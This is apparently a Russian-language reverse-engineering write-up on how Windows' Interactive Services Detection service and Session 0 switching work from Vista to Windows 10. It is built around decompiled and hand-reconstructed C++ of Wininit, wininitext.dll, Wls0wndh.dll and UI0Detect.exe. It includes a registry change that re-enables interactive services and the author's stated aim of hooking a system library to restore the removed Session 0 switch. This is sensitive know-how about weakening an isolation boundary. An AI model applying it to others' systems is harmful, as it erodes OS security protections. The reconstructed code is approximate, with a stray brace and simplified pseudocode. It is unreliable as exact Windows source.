Но в Windows 8/8.1 и Windows 10 ядро было переписано в угоду "безопасности". Коснулись эти изменения и сервиса Обнаружение интерактивных служб.

Немного освежим память и посмотрим как UI0Detect работает в Vista и 7.
Как мы знаем, механизм переключения в сессию 0 перекочевал из подпрограммы Winlogon в подпрограмму Wininit.
В точке входа Wininit (функция WinMain) определены две internal функции RegisterSession0ViewerWindowHookDll и UnRegisterSession0ViewerWindowHookDll (вторая функция не представляет особого интересна и рассматриваться не будет).
Описание кода функции RegisterSession0ViewerWindowHookDll можете найти в первой части, но для наглядности я приведу её прототип

C++
1
2
3
DWORD RegisterSession0ViewerWindowHookDll(
    VOID
);

Как видно, функция пустая и не принимает никаких аргументов.
Суть в том, что в Vista и 7 инструмент перехода в сессию 0 находился прям в Wininit.exe и не требовалось никаких дополнительных действий чтобы его задействовать.
Но в Microsoft посчитали, что это небезопасно и решили убрать функции RegisterSession0ViewerWindowHookDll и UnRegisterSession0ViewerWindowHookDll из ядра системы. Что же они сделали?

Гуляя в дизассемблере по Wininit.exe можно наткнуться на массивную функцию PrimaryTerminalAndHookWorker

По косвенным признакам и вспоминая из первой части, что для перехода на рабочий стол нужен дескриптор этого рабочего стола (s_hdeskApplication), который функция RegisterSession0ViewerWindowHookDll получала из другой internal функции CreatePrimaryTerminal

C++
1
CreatePrimaryTerminal(s_hWinsta, lpMem, s_hdeskWinlogon, s_hdeskApplication, g_Context);

сразу становится ясно, что функция PrimaryTerminalAndHookWorker оперирует нужными дескрипторами для перехода на другие рабочие столы других сессий.

Вот её прототип (от версии к версии ОС функция постоянно меняется, я приведу код для Windows 10 build 1709)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 g_Context;
unsigned short g_usState = 5;
DWORD Period = 6;
__int16 v57;
 
DWORD PrimaryTerminalAndHookWorker(
    &s_hWinsta,
    &s_hdeskWinlogon,
    &s_hdeskApplication,
    &g_Context,
    &g_usState,
    Period,
    &v57,
    g_pSidSystem,
    g_pSidLocalService,
    g_pSidLocal,
    g_pSidWorld,
    g_pSidAdmin,
    g_pSidPowerUser,
    g_pSidCreator,
    g_pSidRestricted,
    g_pSidInteractive,
    g_pSidService,
    g_pSidWindowManager,
    g_pSidFontDriverHost,
    g_pSidAnyPackage,
    g_pSidAnyRestrictedPackage
);

Но функция PrimaryTerminalAndHookWorker не является внутренней (internal), она экспортируемая.
И экспортируется она из библиотеки wininitext.dll (wininitext.dll появилась именно в Windows 8 и последующих ОС, в Windows 7 и предыдущих ОС её не было).

Посмотрим на мнемонику функции PrimaryTerminalAndHookWorker в дизассемблере (код для Windows 10 build 1709)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
__int64 __fastcall PrimaryTerminalAndHookWorker(__int64 a1, __int64 a2, HDESK *a3, __int64 a4, _WORD *a5, __int16 a6, _WORD *a7, __int64 a8, __int64 a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, __int64 a15, __int64 a16, __int64 a17, __int64 a18, __int64 a19, __int64 a20, __int64 a21)
{
  bool v21; // zf
  __int64 result; // rax
  unsigned int v27; // esi
  HANDLE v28; // rax
  LPVOID lpMem[5]; // [rsp+30h] [rbp-28h] BYREF
 
  v21 = dword_18000970C == 0;
  lpMem[0] = 0i64;
  *a7 = 0;
  if ( v21 )
  {
    dword_180009710 = GetRespecializeFlag();
    dword_180009708 = GetSetupType();
    dword_18000970C = 1;
    if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control
      && (*((_BYTE *)WPP_GLOBAL_Control + 28) & 1) != 0
      && *((_BYTE *)WPP_GLOBAL_Control + 25) >= 4u )
    {
      WPP_SF_dd(*((_QWORD *)WPP_GLOBAL_Control + 2));
    }
  }
  g_pSidSystem = a8;
  g_pSidLocalService = a9;
  g_pSidLocal = a10;
  g_pSidWorld = a11;
  g_pSidAdmin = a12;
  g_pSidPowerUser = a13;
  g_pSidCreator = a14;
  g_pSidRestricted = a15;
  g_pSidInteractive = a16;
  g_pSidService = a17;
  g_pSidWindowManager = a18;
  g_pSidFontDriverHost = a19;
  g_pSidAnyPackage = a20;
  g_pSidAnyRestrictedPackage = a21;
  result = CreatePrimaryTerminal(a1, lpMem, a2, a3, a4);
  v27 = result;
  if ( (_DWORD)result )
  {
    *a7 = 1;
  }
  else
  {
    *a5 = a6;
    v28 = GetProcessHeap();
    HeapFree(v28, 0, lpMem[0]);
    UpdatePerUserSystemParameters(0i64);
    if ( dword_180009708 || dword_180009710 != v27 )
    {
      result = v27;
    }
    else
    {
      result = RegisterSession0ViewerWindowHookDll(*a3); // вот она и попалась!!!
      if ( (_DWORD)result )
        *a7 = 2;
    }
  }
  return result;
}

И что же мы видим - функция RegisterSession0ViewerWindowHookDll перекочевала в функцию PrimaryTerminalAndHookWorker (библиотеки wininitext.dll) и вызывается ядром в подпрограмме Wininit.exe (функция UnRegisterSession0ViewerWindowHookDll теперь также располагается в библиотеке wininitext.dll).
При этом изменился её прототип

C++
1
2
3
DWORD RegisterSession0ViewerWindowHookDll(
    HDESK s_hdeskApplication
);

RegisterSession0ViewerWindowHookDll принимает один аргумент - дескриптор рабочего стола, который далее передаётся в функции SetThreadDesktop и SwitchDesktop.
Есть ещё один важный момент - чтобы механизм перехода в Windows 8/8.1 и Windows 10 заработал, нужно изменить в реестре значение NoInteractiveServices на ноль (0), которое находится по следующему пути

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl Set\Control\Windows

по умолчанию значение NoInteractiveServices установлено в единицу (1).

Теперь я приведу мнемонику функции PrimaryTerminalAndHookWorker из ОС Windows 10 build 2009 (20H2)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall PrimaryTerminalAndHookWorker(__int64 a1, __int64 a2, __int64 a3, __int64 a4, _WORD *a5, __int16 a6, _WORD *a7, __int64 a8, __int64 a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, __int64 a15, __int64 a16, __int64 a17, __int64 a18, __int64 a19, __int64 a20, __int64 a21)
{
  bool v21; // zf
  __int64 result; // rax
  HANDLE v27; // rax
  LPVOID lpMem[5]; // [rsp+30h] [rbp-28h] BYREF
 
  v21 = dword_180009778 == 0;
  lpMem[0] = 0i64;
  *a7 = 0;
  if ( v21 )
  {
    dword_18000977C = GetRespecializeFlag();
    dword_180009774 = GetSetupType();
    dword_180009778 = 1;
    if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control
      && (*((_BYTE *)WPP_GLOBAL_Control + 28) & 1) != 0
      && *((_BYTE *)WPP_GLOBAL_Control + 25) >= 4u )
    {
      WPP_SF_dd(*((_QWORD *)WPP_GLOBAL_Control + 2));
    }
  }
  g_pSidSystem = a8;
  g_pSidLocalService = a9;
  g_pSidLocal = a10;
  g_pSidWorld = a11;
  g_pSidAdmin = a12;
  g_pSidPowerUser = a13;
  g_pSidCreator = a14;
  g_pSidRestricted = a15;
  g_pSidInteractive = a16;
  g_pSidService = a17;
  g_pSidWindowManager = a18;
  g_pSidFontDriverHost = a19;
  g_pSidAnyPackage = a20;
  g_pSidAnyRestrictedPackage = a21;
  result = CreatePrimaryTerminal(a1, lpMem, a2, a3, a4);
  if ( (_DWORD)result )
  {
    *a7 = 1;
  }
  else
  {
    *a5 = a6;
    v27 = GetProcessHeap();
    HeapFree(v27, 0, lpMem[0]);
    UpdatePerUserSystemParameters(0i64);
    result = 0i64;
  }
  return result;
}

Как можно видеть функция RegisterSession0ViewerWindowHookDll просто отсутствует в коде PrimaryTerminalAndHookWorker (UnRegisterSession0ViewerWindowHookDll также удалена из библиотеки wininitext.dll).

На данный момент я ищу способ вернуть функциональность RegisterSession0ViewerWindowHookDll и Microsoft немного способствует этому (хукать библиотеку всё же проще, чем защищенный процесс).

И ещё один важный момент. В Windows 10 Microsoft переписала драйвер клавиатуры и мыши в сессии 0.
Перейдя в сессию 0 у вас не будет работать клава-мышь!

Они переписали драйвер win32kfull.sys, точнее 2 функции - RawInputThread (отвечающую за ввод клавиатуры) и xxxDesktopThread (отвечающую за ввод мыши).

Утрированно, в коде это выглядит следующим образом:
в Windows 8/8.1

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mouseInputThread()
{
    LODWORD(Object) = 0;
    RegisterHotKey(struct tagWND *)1, (ULONG_PTR)Object);
    SetDebugHotKeys();
    SetWinlogonHotKeys();
    SetWindowArrangementHotKeys();
    SetPenHotKeys();
 
    CreatePointerDeviceProcessEvents();
    v10 = (struct _KEVENT *)v57[8];
 
    EnterCrit(0, 1);
    gpkeRITEvent = 0;
    ObfDereferenceObject((PVOID)v57[8]);
    UserSessionSwitchLeaveCrit();
}

в Windows 10

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mouseInputThread()
{
    if (gSessionId != gServiceSessionId) // if (gSessionId != 0)
    {
        LODWORD(Object) = 0;
        RegisterHotKey((struct tagWND *)1, (ULONG_PTR)Object);
        SetDebugHotKeys();
        SetWinlogonHotKeys();
        SetWindowArrangementHotKeys();
        SetPenHotKeys();
 
        CreatePointerDeviceProcessEvents();
        v10 = (struct _KEVENT *)v57[8];
 
        EnterCrit(0, 1);
        gpkeRITEvent = 0;
        ObfDereferenceObject((PVOID)v57[8]);
        UserSessionSwitchLeaveCrit();
    }
}

Так что переходя в сессию 0 в Windows 10 не забудьте поставить таймер на возврат, ну или напишите свой дров для клава-мыши :)

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 3: Эпилог

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows 7

_lunar_ — Fri, 06 Nov 2020 09:15:08 GMT

После насквозь "дырявой" Windows XP в Microsoft прикинули расклад и задались вопросом - как же изолировать систему от пользователя?
Ведь в XP пользователь работал в той же среде, что и ядро операционной системы.
Поэтому с выходом Windows Vista компания представила новый механизм изоляции сессии, в которой загружается операционная система.

Как же это работает?
После того, как система получает управление от BIOS (UEFI) winload.efi, происходит загрузка ядра ОС, процесс которой называется winload.exe (OS Loader).
Сперва система создаёт сессию, в окружении которой создаётся рабочая станция. Затем, внутри рабочей станции, создаются рабочие столы.
Рабочие станции могут быть интерактивные (к примеру WinSta0), т.е. имеют возможность оконного взаимодействия.
И могут быть не интерактивные (например Service-0x0-3e7$ - сервисная служба NT AUTHORITY\СИСТЕМА), без каких-либо оконных процедур.
Взаимодействие со службами, запущенными на таких рабочих станциях, происходит путём передачи данных через каналы (пайпы, события и т.д.).
Рабочих столов также есть несколько видов:
- Default основной рабочий стол, куда загружается Проводник системы (explorer.exe)
- Winlogon, рабочий стол приветствия входа в систему (запрос логина и пароля)
- Disconnect малоизученный рабочий стол
- кроме того есть ещё один рабочий стол - Secure Desktop for UAC (название не точное).
Обнаружить его не удалось (нужно точное название), но факт его присутствия на лицо: при запросе админских прав включается окно UAC, в этот момент делается скриншот фона рабочего стола и происходит затемнение.
Данная сессия имеет нумерацию 0 (Session Id 0). В этой сессии работают все минимальные системные процессы (Protected) и ProtectedLite процессы - System, Registry, wininit.exe, services.exe, smss.exe, csrss.exe, svchost.exe.
Более подробно о системных процессах читайте у Марка Руссиновича - Внутреннее устройство Windows, 7-е издание, Глава 3.
После того, как ядро полностью загружено, создаётся новая сессия с номером 1 (Session Id 1).
Вот это уже пользовательская сессия, в которой и работает первый залогинившийся юзер (winlogon.exe).

Сессия 0 изолирована от сессии 1, но взаимодействие между ними всё же происходит. Рассмотрим этот механизм взаимодействия.
Сервис "Обнаружение интерактивных служб" по умолчанию находится в режиме остановлен.
Но если служба не работает, как же она перехватывает окна, появляющиеся в сеансе 0?
Секрет кроется в малоизвестной библиотеке Wls0wndh.dll (Session0 Viewer Window Hook DLL).
Имя самой библиотеки можно расшифровать как - WinLogon Session 0 Window Hook.
Winlogon.exe на протяжении долгого времени накапливал все больше инструментария как загрузчик пользовательского режима, выполняя такие задачи, как настройка процесса локальной безопасности (LSASS), SCM, реестра, запуск процесса, отвечающего за извлечение файлов дампа из файла подкачки, и многое другое.
Теперь эту роль выполняет Wininit.exe, загружая в том числе библиотеку Wls0wndh.dll.

Одной из новых задач Wininit.exe является регистрация WinLogon Session 0 Window Hook, путем вызова функцией RegisterSession0ViewerWindowHookDll, которая является частью точки входа WinMain процесса Wininit.exe

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DWORD ResilientSwitchDesktop(HDESK hDesktop) // DWORD ResilientSwitchDesktopWithFade(HDESK hDesktop) in new build Win10
{
    DWORD dwMilliseconds = NULL;
    DWORD deErr = NO_ERROR;
 
    while (!SwitchDesktop(hDesktop)) {
        deErr = GetLastError();
 
        if (dwMilliseconds >= 1000)
            return deErr;
 
        dwMilliseconds += 100;
        Sleep(dwMilliseconds);
    }
 
    return EXIT_SUCCESS;
}
 
typedef LRESULT(CALLBACK* _Session0ViewerWindowProcHook)(
    int nCode,
    WPARAM wParam,
    LPARAM lParam
    );
_Session0ViewerWindowProcHook Session0ViewerWindowProcHook;
 
HDESK s_hdeskApplication; // from Wininit!CreatePrimaryTerminal(s_hWinsta, lpMem, s_hdeskWinlogon, s_hdeskApplication, g_Context);
 
DWORD RegisterSession0ViewerWindowHookDll(VOID)
{
    int Data = NULL;
    DWORD cbData = sizeof(DWORD);
    DWORD Type = REG_NONE;
    HKEY hKey = nullptr;
 
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _TEXT("SYSTEM\\CurrentControlSet\\Control\\WinInit"), REG_OPTION_RESERVED, KEY_QUERY_VALUE, &hKey)
        || (RegQueryValueEx(hKey, _TEXT("DisableS0Viewer"), nullptr, &Type, (LPBYTE)&Data, &cbData), RegCloseKey(hKey), !Data)) {
        HMODULE hModule = LoadLibrary(_TEXT("WlS0WndH"));
        if (hModule) {
            Session0ViewerWindowProcHook = (_Session0ViewerWindowProcHook)GetProcAddress(hModule, "Session0ViewerWindowProcHook");
            if (Session0ViewerWindowProcHook) {
                if (SetThreadDesktop(s_hdeskApplication)) {
                    SetWindowsHookEx(WH_CALLWNDPROC, Session0ViewerWindowProcHook, hModule, NULL);
                    ResilientSwitchDesktop(s_hdeskApplication);
                }
            }
        }
 
        if (hModule)
            FreeLibrary(hModule);
    }
 
    return EXIT_SUCCESS;
}

Если недокументированное значение DisableS0Viewer отсутствует в разделе реестра HKLM\System\CurrentControlSet\Control\Wi nInit, он пытается загрузить Wls0wndh.dll, а затем выполняет запрос функции Session0ViewerWindowProcHook внутри Wls0wndh.dll
Если все прошло успешно, он переключаетcя на рабочий стол Default и регистрирует процедуру как обработчик окна с помощью SetWindowsHookEx.
Теперь у нас есть механизм, позволяющий понять, как сервис "Обнаружение интерактивных служб" может автоматически запускаться - за это отвечает перехват обратного вызова (callback hook).

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
typedef BOOLEAN(NTAPI* _RtlTimeToSecondsSince1980)(
    _In_ PLARGE_INTEGER Time,
    _Out_ PULONG ElapsedSeconds
    );
_RtlTimeToSecondsSince1980 RtlTimeToSecondsSince1980;
 
LRESULT WINAPI Session0ViewerWindowProcHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    HMODULE hModule = GetModuleHandle(TEXT("ntdll"));
 
    if (hModule)
        RtlTimeToSecondsSince1980 = (_RtlTimeToSecondsSince1980)GetProcAddress(hModule, "RtlTimeToSecondsSince1980");
 
    BOOL UserWorkItem = FALSE;
    DWORD LastSecondsStart = NULL;
    ULONG SecondsSince1980 = NULL;
    FILETIME SystemTimeAsFileTime{};
 
    if (!nCode && *(PDWORD)(lParam + 16) == 24) {
        if (*(PDWORD64)(lParam + 8)) {
            if (!FindWindow(TEXT("$$$UI0Background"), nullptr) && !GetParent(*(HWND*)(lParam + 24)) && !InterlockedCompareExchange(&g_lWorkItemGuard, 1, 0)) {
                GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
                if (RtlTimeToSecondsSince1980((PLARGE_INTEGER)&SystemTimeAsFileTime, &SecondsSince1980)) {
                    if (SecondsSince1980 > g_dwElapsedSinceLastStart && SecondsSince1980 - g_dwElapsedSinceLastStart >= 0x12C) {
                        UserWorkItem = QueueUserWorkItem(StartUI0DetectThreadProc, nullptr, WT_EXECUTEDEFAULT);
                        LastSecondsStart = g_dwElapsedSinceLastStart;
                        if (UserWorkItem)
                            LastSecondsStart = SecondsSince1980;
                        g_dwElapsedSinceLastStart = LastSecondsStart;
                    }
                }
            }
        }
    }
 
    InterlockedCompareExchange(&g_lWorkItemGuard, 0, 1);
 
    return CallNextHookEx(nullptr, nCode, wParam, lParam);
}

Внутри Session0ViewerWindowProcHook довольно простая логика: выполняется проверка является ли вызов оконным сообщением WM_SHOWWINDOW, которое сигнализирует о появлении нового окна на рабочем столе. Если это так, DLL сначала проверяет имя окна $$$UI0Background и отключается, если это окно уже существует.
Вторая проверка - это сколько времени прошло с момента последней попытки запустить службу. Если прошло менее 300 (0x12C) секунд, DLL не запустит службу снова.
Наконец, если все проверки выполнены успешно, запрос ставится в очередь с использованием API пула потоков с обратным вызовом StartUI0DetectThreadProc в качестве начального адреса потока

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DWORD WINAPI StartUI0DetectThreadProc(PVOID Parameter)
{
    SC_HANDLE hService = nullptr;
 
    SC_HANDLE hSCManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
 
    if (!hSCManager || (hService = OpenService(hSCManager, TEXT("UI0Detect"), SERVICE_START), hService == nullptr) || !StartService(hService, NULL, nullptr))
        return GetLastError();
 
    if (hService)
        CloseServiceHandle(hService);
 
    if (hSCManager)
        CloseServiceHandle(hSCManager);
 
    return EXIT_SUCCESS;
}

Эта процедура выполняет очень простую задачу: открывает дескриптор для SCM, затем открывает дескриптор для службы UI0Detect и вызвать StartService, чтобы дать команду SCM запустить ее.
На этом завершается вся работа, выполняемая Wls0wndh.dll.
DLL просто подтверждает перехваты обратных вызовов оконных процедур, когда они поступают.

Всё сервис запущен, теперь мы обратим внимание на отвечающий за нее модуль - UI0Detect.exe.
Поскольку UI0Detect.exe обрабатывает как пользовательскую (клиентскую), так и служебную (системную) часть процесса, он работает в двух режимах. В первом режиме он ведет себя как типичная служба Windows и регистрируется в SCM. Во втором режиме служба обнаруживает, что была запущена в сессии входа в систему, и делает обратный переход в режим клиента.

Глобальные переменные сервиса UI0Detect

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HINSTANCE g_hInstance = nullptr;
HWND g_hWndS0Dlg = nullptr;
LPCVOID g_pxSharedInfo = nullptr;
HANDLE g_hSharedInfo = nullptr, g_hFullSharedInfo = nullptr, g_hEventSource = nullptr;
LPVOID g_TopLevelWindowList = nullptr;
SERVICE_STATUS_HANDLE hssService = nullptr;
 
GUID g_guidService{}, g_hSessionService{}, g_guidClient{};
FILETIME g_qwFTAtStart{};
LASTINPUTINFO g_xTCAtLastInput{};
SERVICE_STATUS ssService{};
 
BOOL g_fSqmIsOptedIn = NULL;
__int64 qword_140008620 = NULL;
const WCHAR word_1400059D8 = NULL;
__int16 word_140008752 = NULL;
DWORD g_dwTopLevelWindowCount = NULL, g_dwTCAtLastUserPing = NULL;
WCHAR near* g_EmptyString = nullptr;
WCHAR g_wszPath = NULL;
WCHAR g_wszWindowsPath[68]{}, g_wszProgramFilesPath[72]{};

Служба UI0Detect продолжает вызывать StartServiceCtrlDispatcher

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
BOOL IsSystem(VOID)
{
    BOOL CheckToken = FALSE, IsSidInToken = FALSE, IsMember = FALSE;
    PSID SidToCheck =  nullptr;
    SID_IDENTIFIER_AUTHORITY IdentifierAuthority{};
 
    *(PWORD)&IdentifierAuthority.Value[4] = 1280;
 
    if (AllocateAndInitializeSid(&IdentifierAuthority, 1, 0x12, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &SidToCheck) >= 0) {
        CheckToken = CheckTokenMembership(nullptr, SidToCheck, &IsMember);
        
        IsSidInToken = IsMember;
        if (!CheckToken)
            IsSidInToken = FALSE;
        IsMember = IsSidInToken;
    }
 
    if (SidToCheck)
        FreeSid(SidToCheck);
 
    return IsMember;
}
}
 
int WINAPI wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nShowCmd)
{
    int v6 = 1;
    SERVICE_TABLE_ENTRY ServiceStartTable{};
    __int64 v9 = NULL;
    __int64 v10 = NULL;
    FILETIME SystemTimeAsFileTime{};
 
    HeapSetInformation(nullptr, HeapEnableTerminationOnCorruption, nullptr, NULL);
    g_hInstance = hInstance;
    g_fSqmIsOptedIn = WinSqmIsOptedIn();
    GetSystemTimeAsFileTime(&g_qwFTAtStart);
    
    if (lpCmdLine && *lpCmdLine) {
        v6 = ClientsWinMain(lpCmdLine);
    }
 
    else {
        ServiceStartTable.lpServiceName = (LPWSTR)TEXT("UI0Detect");
        ServiceStartTable.lpServiceProc = ServiceStart;
 
        if (g_fSqmIsOptedIn) {
            g_hSessionService.Data1 = (ULONG)WinSqmStartSession(&g_guidService, 984067, 0);
            WinSqmSetString(&g_hSessionService.Data1, 1411, TEXT("Session 0 viewer service"));
        }
 
        if (IsSystem())
            StartServiceCtrlDispatcher(&ServiceStartTable);
 
        else
            v6 = -2;
 
        if (g_fSqmIsOptedIn) {
            GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
 
            if (!((*(PSIZE_T)&SystemTimeAsFileTime - *(PSIZE_T)&g_qwFTAtStart) / 0x271000000000))
                WinSqmSetDWORD(&g_hSessionService.Data1, 1790, (UINT)((*(PSIZE_T)&SystemTimeAsFileTime - *(PSIZE_T)&g_qwFTAtStart) / 0x2710));
            
            WinSqmEndSession(&g_hSessionService.Data1);
            *(PSIZE_T)&g_hSessionService.Data1 = NULL;
        }
    }
 
    if (g_pxSharedInfo) {
        UnmapViewOfFile(g_pxSharedInfo);
        g_pxSharedInfo = nullptr;
    }
 
    if (g_hSharedInfo) {
        CloseHandle(g_hSharedInfo);
        g_hSharedInfo = nullptr;
    }
 
    if (g_hFullSharedInfo) {
        CloseHandle(g_hFullSharedInfo);
        g_hFullSharedInfo = nullptr;
    }
 
    return v6;
}

со специальной подпрограммой ServiceStart

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
VOID WINAPI ServiceCtrlHandler(DWORD dwControl)
{
    switch (dwControl)
    {
    case SERVICE_CONTROL_STOP:
        ssService.dwWin32ExitCode = NO_ERROR;
        ssService.dwCurrentState = SERVICE_STOP_PENDING;
        break;
 
    case SERVICE_CONTROL_PAUSE:
        ssService.dwCurrentState = SERVICE_PAUSED;
        ssService.dwControlsAccepted = SERVICE_CONTROL_NETBINDADD;
        break;
 
    case SERVICE_CONTROL_CONTINUE:
        ssService.dwCurrentState = SERVICE_RUNNING;
        ssService.dwControlsAccepted = SERVICE_CONTROL_NETBINDADD;
        break;
 
    case SERVICE_CONTROL_SHUTDOWN:
        ssService.dwWin32ExitCode = NO_ERROR;
        ssService.dwCurrentState = SERVICE_STOP_PENDING;
        break;
 
    default:
        break;
    }
 
    SetServiceStatus(hssService, &ssService);
 
    if (((dwControl - 1) & 0xFFFFFFFB) == 0) {
        WTSDisconnectSession(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, FALSE);
        
        if (g_hWndS0Dlg)
            SendMessage(g_hWndS0Dlg, 0x466, 2, NULL);
 
        HWND hWnd = FindWindow(TEXT("$$$UI0Background"), nullptr);
        
        if (hWnd)
            SendMessage(hWnd, WM_APP, NULL, NULL);
    }
}
 
VOID WINAPI ServiceStart(DWORD dwNumServicesArgs, LPWSTR* lpServiceArgVectors)
{
    DWORD nLengthNeeded = NULL;
    PWCHAR wszPath = nullptr;
    HWND hWnd = nullptr;
    __int64 v8[5]{};
    MSG Msg{};
    WCHAR v10 = NULL;
 
    ssService.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
    ssService.dwCurrentState = SERVICE_START_PENDING;
    ssService.dwControlsAccepted = SERVICE_CONTROL_NETBINDADD;
    ssService.dwWin32ExitCode = NO_ERROR;
    ssService.dwCheckPoint = NULL;
 
    SERVICE_STATUS_HANDLE hSvcStatus = RegisterServiceCtrlHandler(TEXT("UI0Detect"), ServiceCtrlHandler);
 
    hssService = hSvcStatus;
    
    if (hSvcStatus) {
        ssService.dwCurrentState = SERVICE_RUNNING;
        SetServiceStatus(hSvcStatus, &ssService);
        HWINSTA hWinsta = GetProcessWindowStation();
        HDESK hDesk = GetThreadDesktop(GetCurrentThreadId());
 
        if (hWinsta && hDesk && GetUserObjectInformation(hWinsta, UOI_NAME, &g_wszPath, 0x208, &nLengthNeeded)
            && (wszPath = &g_wszPath + (nLengthNeeded >> 1), *(wszPath - 1) = 92, GetUserObjectInformation(hDesk, UOI_NAME, wszPath, 520 - nLengthNeeded, &nLengthNeeded))
            && wcscmp(&g_wszPath, TEXT("WinSta0\\Default")))
        {
            ssService.dwWin32ExitCode = ERROR_INVALID_FUNCTION;
        }
 
        else {
            HeapSetInformation(nullptr, HeapEnableTerminationOnCorruption, nullptr, NULL);
            
            if (!SetupMainWindows(&v10, &hWnd))
            {
                v8[0] = (__int64)&S0DialogService::vftable;
                S0DialogBase::ShowDialog((S0DialogBase*)v8, (unsigned __int16*)0x3F2, (unsigned __int16*)0x3F3, 0i64);
                
                while ((GetMessage(&Msg, nullptr, RIM_INPUT, RIM_INPUT) + 1) > 1)
                    DispatchMessage(&Msg);
            }
        }
 
        if (v10)
            UnregisterClass(TEXT("$$$UI0Background"), g_hInstance);
        
        if (g_hEventSource)
            DeregisterEventSource(g_hEventSource);
        
        ssService.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hssService, &ssService);
    }
}

Служба сначала выполняет проверку, на предмет того, что она работает на правильной оконной станции и рабочем столе (WinSta0\\Default), а затем уведомляет SCM об успехе или неудаче.
После завершения взаимодействия с SCM она вызывает внутреннюю функцию SetupMainWindows, которая регистрирует класс $$$UI0Background и окно Shell0 Window. Поскольку предполагается, что это главное окно «оболочки», с которым пользователь будет взаимодействовать на рабочем столе службы, это окно также регистрируется как текущее окно оболочки и панели задач через SetShellWindow и SetTaskmanWindowAPI

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
typedef LRESULT(WINAPI* _SetTaskmanWindow)(
    HWND hWnd
    );
_SetTaskmanWindow SetTaskmanWindow;
 
typedef LRESULT(WINAPI* _SetShellWindow)(
    HWND hWnd
    );
_SetShellWindow SetShellWindow;
 
BOOL WINAPI SetupMainWindows(PWCHAR a1, HWND* phWnd)
{
    WCHAR v6;
    MINIMIZEDMETRICS pvParam{ sizeof(MINIMIZEDMETRICS) };
    int v13 = NULL;
 
    WNDCLASS WndClass{};
    WndClass.style = CS_NOCLOSE;
    WndClass.lpfnWndProc = (WNDPROC)BackgroundWndProc;
    WndClass.hInstance = g_hInstance;
    WndClass.cbWndExtra = 8;
    WndClass.hCursor = LoadCursor(nullptr, IDC_ARROW);
    WndClass.hbrBackground = CreateSolidBrush(0xEEDAC8);
    WndClass.lpszClassName = TEXT("$$$UI0Background");
    
    v6 = RegisterClass(&WndClass);
    *a1 = v6;
    
    if (!v6)
        return GetLastError();
 
    HWND hWnd = CreateWindowEx(WS_EX_NOACTIVATE, TEXT("$$$UI0Background"), TEXT("Shell0 Window"), WS_POPUP | WS_CLIPCHILDREN,
        NULL, NULL, GetSystemMetrics(0), GetSystemMetrics(1), nullptr, nullptr, nullptr, nullptr);
    
    if ((*phWnd = hWnd) == nullptr)
        return GetLastError();
 
    ShowWindow(hWnd, SW_SHOW);
    SystemParametersInfo(SPI_GETMINIMIZEDMETRICS, sizeof(MINIMIZEDMETRICS), &pvParam, 0);
    v13 |= 8;
    SystemParametersInfo(SPI_SETMINIMIZEDMETRICS, sizeof(MINIMIZEDMETRICS), &pvParam, 0);
 
    HMODULE hModule = GetModuleHandle(TEXT("user32"));
    if (hModule) {
        SetTaskmanWindow = (_SetTaskmanWindow)GetProcAddress(hModule, "SetTaskmanWindow");
        SetShellWindow = (_SetShellWindow)GetProcAddress(hModule, "SetShellWindow");
    }
 
    SetTaskmanWindow(*phWnd);
    SetShellWindow(*phWnd);
 
    return TRUE;
}

Теперь обратим внимание на BackgroundWndProc, поскольку именно здесь будут выполняться основные задачи инициализации и поведения службы.
